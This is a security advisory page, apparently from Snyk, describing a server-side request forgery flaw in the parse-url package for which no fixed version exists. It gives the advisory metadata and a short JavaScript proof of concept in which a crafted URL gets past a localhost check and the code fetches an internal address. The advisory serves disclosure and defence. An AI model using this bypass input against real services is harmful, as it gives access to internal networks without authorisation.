Server-side Request Forgery (SSRF) Affecting org.webjars.npm:parse-url package, versions [0,]


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

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  • snyk-id

    SNYK-JAVA-ORGWEBJARSNPM-3023022

  • published

    14 Sep 2022

  • disclosed

    14 Sep 2022

  • credit

    ranjit-git

How to fix?

There is no fixed version for org.webjars.npm:parse-url.

Overview

org.webjars.npm:parse-url is an An advanced url parser supporting git urls too.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) due to improper detection of protocol, resource, and pathname fields. Exploiting this vulnerability results in bypassing protocol verification.

PoC:

import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }